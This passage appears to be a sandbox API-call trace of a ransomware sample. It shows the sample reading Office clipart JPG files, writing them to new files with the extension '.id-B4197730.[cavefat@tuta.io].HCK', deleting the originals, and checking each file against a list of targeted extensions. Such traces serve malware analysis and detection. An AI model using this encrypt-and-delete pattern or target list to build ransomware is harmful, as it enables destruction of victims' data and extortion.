1 [0172.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg")) returned 0x220 [0172.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.746] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.747] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.747] GetLastError () returned 0x0 [0172.747] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1ad37, lpOverlapped=0x0) returned 1 [0172.766] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1ad40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1ad40, lpOverlapped=0x0) returned 1 [0172.768] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.768] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.768] SetEndOfFile (hFile=0x2fc) returned 1 [0177.779] CloseHandle (hObject=0x2fc) returned 1 [0177.784] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.784] SetEndOfFile (hFile=0x368) returned 1 [0177.785] CloseHandle (hObject=0x368) returned 1 [0177.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg")) returned 1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.787] lstrlenW (lpString=".doc") returned 4 [0177.787] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.787] lstrlenW (lpString=".docx") returned 5 [0177.787] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.787] lstrlenW (lpString=".pdf") returned 4 [0177.787] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.787] lstrlenW (lpString=".xls") returned 4 [0177.787] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.787] lstrlenW (lpString=".xlsx") returned 5 [0177.787] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.787] lstrlenW (lpString=".ppt") returned 4 [0177.787] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.787] lstrlenW (lpString=".zip") returned 4 [0177.787] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.787] lstrlenW (lpString=".rar") returned 4 [0177.787] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.787] lstrlenW (lpString=".bz2") returned 4 [0177.787] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.787] lstrlenW (lpString=".7z") returned 3 [0177.787] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.787] lstrlenW (lpString=".dbf") returned 4 [0177.787] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.787] lstrlenW (lpString=".1cd") returned 4 [0177.787] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".jpg") returned 4 [0177.788] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".doc") returned 4 [0177.788] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.788] lstrlenW (lpString=".docx") returned 5 [0177.788] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.788] lstrlenW (lpString=".pdf") returned 4 [0177.788] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.788] lstrlenW (lpString=".xls") returned 4 [0177.788] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.788] lstrlenW (lpString=".xlsx") returned 5 [0177.788] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.788] lstrlenW (lpString=".ppt") returned 4 [0177.788] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".zip") returned 4 [0177.788] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.788] lstrlenW (lpString=".rar") returned 4 [0177.788] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.788] lstrlenW (lpString=".bz2") returned 4 [0177.788] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.788] lstrlenW (lpString=".7z") returned 3 [0177.788] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".dbf") returned 4 [0177.788] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".1cd") returned 4 [0177.788] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG") returned 68 [0177.788] lstrlenW (lpString=".jpg") returned 4 [0177.788] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.788] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.788] lstrlenW (lpString="J0382955.JPG") returned 12 [0177.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.791] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=90095) returned 1 [0177.791] CloseHandle (hObject=0x39c) returned 1 [0177.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg")) returned 0x220 [0177.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.795] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.795] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.801] GetLastError () returned 0x0 [0177.801] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x15fef, lpOverlapped=0x0) returned 1 [0177.805] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x15ff0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x15ff0, lpOverlapped=0x0) returned 1 [0177.806] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.806] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.806] SetEndOfFile (hFile=0x368) returned 1 [0177.807] CloseHandle (hObject=0x368) returned 1 [0177.808] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.809] SetEndOfFile (hFile=0x39c) returned 1 [0177.894] CloseHandle (hObject=0x39c) returned 1 [0177.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg")) returned 1 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString=".doc") returned 4 [0177.901] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.901] lstrlenW (lpString=".docx") returned 5 [0177.901] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0177.901] lstrlenW (lpString=".pdf") returned 4 [0177.901] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.901] lstrlenW (lpString=".xls") returned 4 [0177.901] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.901] lstrlenW (lpString=".xlsx") returned 5 [0177.901] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0177.901] lstrlenW (lpString=".ppt") returned 4 [0177.901] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString=".zip") returned 4 [0177.901] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.901] lstrlenW (lpString=".rar") returned 4 [0177.901] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.901] lstrlenW (lpString=".bz2") returned 4 [0177.901] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.901] lstrlenW (lpString=".7z") returned 3 [0177.901] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString=".dbf") returned 4 [0177.901] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString=".1cd") returned 4 [0177.901] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.901] lstrlenW (lpString=".jpg") returned 4 [0177.901] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString=".doc") returned 4 [0177.902] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.902] lstrlenW (lpString=".docx") returned 5 [0177.902] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0177.902] lstrlenW (lpString=".pdf") returned 4 [0177.902] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.902] lstrlenW (lpString=".xls") returned 4 [0177.902] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.902] lstrlenW (lpString=".xlsx") returned 5 [0177.902] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0177.902] lstrlenW (lpString=".ppt") returned 4 [0177.902] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString=".zip") returned 4 [0177.902] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.902] lstrlenW (lpString=".rar") returned 4 [0177.902] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.902] lstrlenW (lpString=".bz2") returned 4 [0177.902] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.902] lstrlenW (lpString=".7z") returned 3 [0177.902] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString=".dbf") returned 4 [0177.902] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString=".1cd") returned 4 [0177.902] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG") returned 68 [0177.902] lstrlenW (lpString=".jpg") returned 4 [0177.902] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.902] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.902] lstrlenW (lpString="J0382960.JPG") returned 12 [0177.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.904] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=107508) returned 1 [0177.904] CloseHandle (hObject=0x368) returned 1 [0177.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg")) returned 0x220 [0177.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.915] GetLastError () returned 0x0 [0177.915] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1a3f4, lpOverlapped=0x0) returned 1 [0177.919] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1a400, lpOverlapped=0x0) returned 1 [0177.920] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.920] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.921] SetEndOfFile (hFile=0x370) returned 1 [0177.925] CloseHandle (hObject=0x370) returned 1 [0177.927] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.927] SetEndOfFile (hFile=0x368) returned 1 [0177.936] CloseHandle (hObject=0x368) returned 1 [0177.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg")) returned 1 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.938] lstrlenW (lpString=".doc") returned 4 [0177.938] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.938] lstrlenW (lpString=".docx") returned 5 [0177.938] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0177.938] lstrlenW (lpString=".pdf") returned 4 [0177.938] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.938] lstrlenW (lpString=".xls") returned 4 [0177.938] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.938] lstrlenW (lpString=".xlsx") returned 5 [0177.938] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0177.939] lstrlenW (lpString=".ppt") returned 4 [0177.939] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".zip") returned 4 [0177.939] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".rar") returned 4 [0177.939] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".bz2") returned 4 [0177.939] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString=".7z") returned 3 [0177.939] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".dbf") returned 4 [0177.939] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".1cd") returned 4 [0177.939] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".jpg") returned 4 [0177.939] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".doc") returned 4 [0177.939] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString=".docx") returned 5 [0177.939] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0177.939] lstrlenW (lpString=".pdf") returned 4 [0177.939] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".xls") returned 4 [0177.939] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".xlsx") returned 5 [0177.939] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0177.939] lstrlenW (lpString=".ppt") returned 4 [0177.939] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".zip") returned 4 [0177.939] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".rar") returned 4 [0177.939] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.939] lstrlenW (lpString=".bz2") returned 4 [0177.939] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString=".7z") returned 3 [0177.939] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".dbf") returned 4 [0177.939] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".1cd") returned 4 [0177.939] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG") returned 68 [0177.939] lstrlenW (lpString=".jpg") returned 4 [0177.940] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.940] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.940] lstrlenW (lpString="J0382965.JPG") returned 12 [0177.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.942] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=113410) returned 1 [0177.942] CloseHandle (hObject=0x39c) returned 1 [0177.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg")) returned 0x220 [0177.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 